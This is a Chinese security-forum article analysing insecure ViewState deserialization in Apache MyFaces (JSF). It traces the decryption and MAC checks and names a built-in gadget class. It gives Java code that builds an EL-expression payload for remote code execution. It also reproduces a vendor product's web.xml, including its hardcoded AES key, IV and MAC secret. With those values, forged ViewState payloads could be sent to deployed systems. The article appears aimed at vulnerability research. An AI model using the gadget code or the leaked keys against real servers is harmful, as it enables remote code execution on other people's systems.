奇安信攻防社区-JSF 规范下反序列化实现的特殊性研究

JSF 规范下反序列化实现的特殊性研究

讲解jsf框架的成因，以及jsf框架下的gadget构造，最后以现实世界列子来突出漏洞风险。

### 0x01 简介

JSF（JavaServer Faces）是Java EE平台上的一个标准Web框架，采用组件化和事件驱动模型，简化了Java Web应用的用户界面开发。Apache MyFaces是JSF的一个开源实现，提供了完整的JSF功能和扩展，支持Facelets视图技术，增强了组件库和性能，广泛应用于企业级Java网页开发中。MyFaces与JSF规范兼容，帮助开发者快速构建可维护、可扩展的Web应用，同时支持EL表达式等现代特性，提升开发效率和代码清晰度。

### 0x02 反序列化漏洞

jSF应用中存在的不安全反序列化漏洞，主要源于JSF框架对视图状态（ViewState）的处理机制。ViewState用于保存页面组件的状态，通常以序列化对象形式存储在客户端（隐藏字段）或服务器端。当JSF框架（如Apache MyFaces或Mojarra）在反序列化ViewState时，如果没有对传入的数据进行充分验证或加密保护，攻击者可以构造恶意的序列化数据，利用反序列化过程执行任意代码或破坏应用逻辑，导致远程代码执行（RCE）等严重安全风险。

以xhtml和jsf等结尾，具体看配置

### 0x03 漏洞分析

在jsf的接口中如果传入**javax.faces.ViewState**就会进去流程

org.apache.myfaces.renderkit.html.HtmlResponseStateManager#getSavedState

从facesContext获取RequestParame传值。然后调用decode进行解码。

解码过程中会调用StateUtils.reconstruct(token, facesContext.getExternalContext()) 进行还原对象  
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-4e27c984a9b68a25715da307134b2b82a47a6ab9.png)  
然后会得到数组，然后在ctx中获取配置，看是否设置了加密和开启了gzip压缩，不设置就是开启加密，不实用gzip。  
开启加密就会下面的方法  
org.apache.myfaces.shared.util.StateUtils#decrypt

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-2bdd8d825337bc6b3c24803b38d8f879e83757f8.png)

这个方法主要就是从ctx获取配置（加密key、iv、模式，algorithmParams）

```java
    private static void testConfiguration(ExternalContext ctx) {
        String algorithmParams = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.PARAMETERS");
        if (algorithmParams == null) {
            algorithmParams = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.PARAMETERS".toLowerCase());
        }

String iv = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.IV");
        if (iv == null) {
            iv = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.IV".toLowerCase());
        }

if (algorithmParams != null &amp;&amp; algorithmParams.startsWith("CBC") &amp;&amp; iv == null) {
            throw new FacesException("org.apache.myfaces.ALGORITHM.PARAMETERS parameter has been set with CBC mode, but no initialization vector has been set  with org.apache.myfaces.ALGORITHM.IV");
        }
    }

private static byte[] findInitializationVector(ExternalContext ctx) {
        byte[] iv = null;
        String ivString = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.IV");
        if (ivString == null) {
            ivString = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.IV".toLowerCase());
        }

if (ivString != null) {
            iv = (new Base64()).decode(ivString.getBytes());
        }

return iv;
    }

private static String findAlgorithm(ExternalContext ctx) {
        String algorithm = ctx.getInitParameter("org.apache.myfaces.ALGORITHM");
        if (algorithm == null) {
            algorithm = ctx.getInitParameter("org.apache.myfaces.ALGORITHM".toLowerCase());
        }

return findAlgorithm(algorithm);
    }
    private static String findAlgorithmParams(ExternalContext ctx) {
        String algorithmParams = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.PARAMETERS");
        if (algorithmParams == null) {
            algorithmParams = ctx.getInitParameter("org.apache.myfaces.ALGORITHM.PARAMETERS".toLowerCase());
        }

if (algorithmParams == null) {
            algorithmParams = "ECB/PKCS5Padding";
        }

if (log.isLoggable(Level.FINE)) {
            log.fine("Using algorithm paramaters " + algorithmParams);
        }

return algorithmParams;
    }
   private static SecretKey getMacSecret(ExternalContext ctx) {
        Object secretKey = (SecretKey)ctx.getApplicationMap().get("org.apache.myfaces.MAC_SECRET.CACHE");
        if (secretKey == null) {
            String cache = ctx.getInitParameter("org.apache.myfaces.MAC_SECRET.CACHE");
            if (cache == null) {
                cache = ctx.getInitParameter("org.apache.myfaces.MAC_SECRET.CACHE".toLowerCase());
            }

if (!"false".equals(cache)) {
                throw new NullPointerException("Could not find SecretKey in application scope using key 'org.apache.myfaces.MAC_SECRET.CACHE'");
            }

String secret = ctx.getInitParameter("org.apache.myfaces.MAC_SECRET");
            if (secret == null) {
                secret = ctx.getInitParameter("org.apache.myfaces.MAC_SECRET".toLowerCase());
            }

if (secret == null) {
                throw new NullPointerException("Could not find secret using key 'org.apache.myfaces.MAC_SECRET'");
            }

String macAlgorithm = findMacAlgorithm(ctx);
            secretKey = new SecretKeySpec(findMacSecret(ctx, macAlgorithm), macAlgorithm);
        }

if (!(secretKey instanceof SecretKey)) {
            throw new ClassCastException("Did not find an instance of SecretKey in application scope using the key 'org.apache.myfaces.MAC_SECRET.CACHE'");
        } else {
            return (SecretKey)secretKey;
        }
    }

private static String findMacAlgorithm(ExternalContext ctx) {
        String algorithm = ctx.getInitParameter("org.apache.myfaces.MAC_ALGORITHM");
        if (algorithm == null) {
            algorithm = ctx.getInitParameter("org.apache.myfaces.MAC_ALGORITHM".toLowerCase());
        }

return findMacAlgorithm(algorithm);
    }
```

就是从web.xml 配置中获取值

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-a4757d0b2aba37cadd168efd96cea2f30b985eb9.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-2316666bbee81291bdbad53e0713cd8f6e074787.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-400b904c260d636a8d94fc687eb248766ad3bf97.png)

不设置就设置这几个模式，DES/ECB/PKCS5Padding， macAlgorithm, DES key , HmacSHA1 key 随机生成。

在继续就是传入的数据还原成数组后取分隔最后20位，然后用最后20位对前面的数组数据进行验签，保证数据没有串改。

签证通过就调用cipher.doFinal(secure, 0, secure.length - macLenght) 对前面的数据就行解码。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-3f647c5f1438256d17206bb8d6ed8202d88d935e.png)

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-6e77d170768d4228efc78b7ef123b144ef2dd4dd.png)  
解码后判断ctx是否使用gzip，是就解码，默认不使用

最后就来到最重要的漏洞出发点。

org.apache.myfaces.shared.util.StateUtils#getAsObject

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-e2b63f618501d421726fd6139bde0dd9b1461144.png)

默认就是jdk 反序列化，除非你自己接口实现，应该没人蛋疼去实现hessian吧

获取反序列化类型，然后进行反序列化。

### 0x04 myface 自带 gadegt

myface框架自带一条gadget。

org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression  
![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-26d5d1ab49cd11514db5c60662a6b66f592feca9.png)  
equals和hashcode回调用getMethodExpression

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-3f5730112eace4c945b65e30b3eb92c33d5e0a2a.png)

从当前facecontext中获取elcontext，然后直接getvalue，el表达式出发。

注意这里是facecontext，所以构造要用FacesContext构造。

![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2025/08/attach-2d40638f737ab136647a4813f126f1ac6a9184e0.png)  
其中属性限制是javax.el.ValueExpression的类型，从FacesContext获取，也就是用FacesContextImpl进行构造

### 0x05 gadget构造

```java
    public static Object generatePayload(String payloads) throws Exception {

// 初始化 FacesContext 及 ELContext
        FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
//
        FacesELContext elContext = new FacesELContext(new CompositeELResolver(), fc);

// 使用反射将 elContext 写入 FacesContextImpl 中
        Field field = FacesContextImplBase.class.getDeclaredField("_elContext");
        field.setAccessible(true);
        field.set(fc, elContext);
        ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
        ValueExpression harmlessExpression = expressionFactory.createValueExpression(elContext, payloads, Object.class);

ValueExpressionMethodExpression expression = new ValueExpressionMethodExpression(harmlessExpression);

HashMap hashMap = utils.makeMap(expression, expression);

return hashMap;
    }
```

避免序列化的时候出触发

### 0x06 现实世界中列子

h3c的某厂品的配置

```java

Faces Servlet
        javax.faces.webapp.FacesServlet
        1

Faces Servlet
        *.xhtml

javax.faces.FACELETS_SKIP_COMMENTS
        true

facelets.BUILD_BEFORE_RESTORE
        true

Indicate the encryption algorithm used for encrypt the view state.
        org.apache.myfaces.ALGORITHM

AES

Defines the default mode and padding used for the encryption algorithm
        org.apache.myfaces.ALGORITHM.PARAMETERS
        CBC/PKCS5Padding

Defines the initialization vector (Base64 encoded) used for the encryption
            algorithm. Note its usage depends on the algorithm config used, that means it must
            be defined if CBC mode is used and could not if ECB mode is used
        org.apache.myfaces.ALGORITHM.IV
        NzY1NDMyMTA3NjU0MzIxMA==

Indicate the algorithm used to calculate the Message Authentication Code that
            is added to the view state.
        org.apache.myfaces.MAC_ALGORITHM
        HmacSHA1

Defines the secret (Base64 encoded) used to initialize the secret key for encryption
            algorithm. The size of it depends on the algorithm used for encryption
        org.apache.myfaces.SECRET
        MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz

Define the initialization code (Base64 encoded) that are used to initialize the secret key used
            on the Message Authentication Code algorithm. The size of it depends on the algorithm used for mac calculation

org.apache.myfaces.MAC_SECRET
        aW1jX3BsYXQ=

org.apache.myfaces.SECRET.CACHE
        false

org.apache.myfaces.MAC_SECRET.CACHE
        false

org.apache.myfaces.ERROR_HANDLING
        false

```

从配置文件知道是aes和hamcsha1对应key MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz 和NzY1NDMyMTA3NjU0MzIxMA== 还有mac secert aW1jX3BsYXQ=。

可以获取到的对象

javax.faces.context.ExternalContext

这样我们就可以随便获取对象，构造了

```php
facesContext.getExternalContext().getResponse().getWriter()
```

这样就可以写入了，或者回显
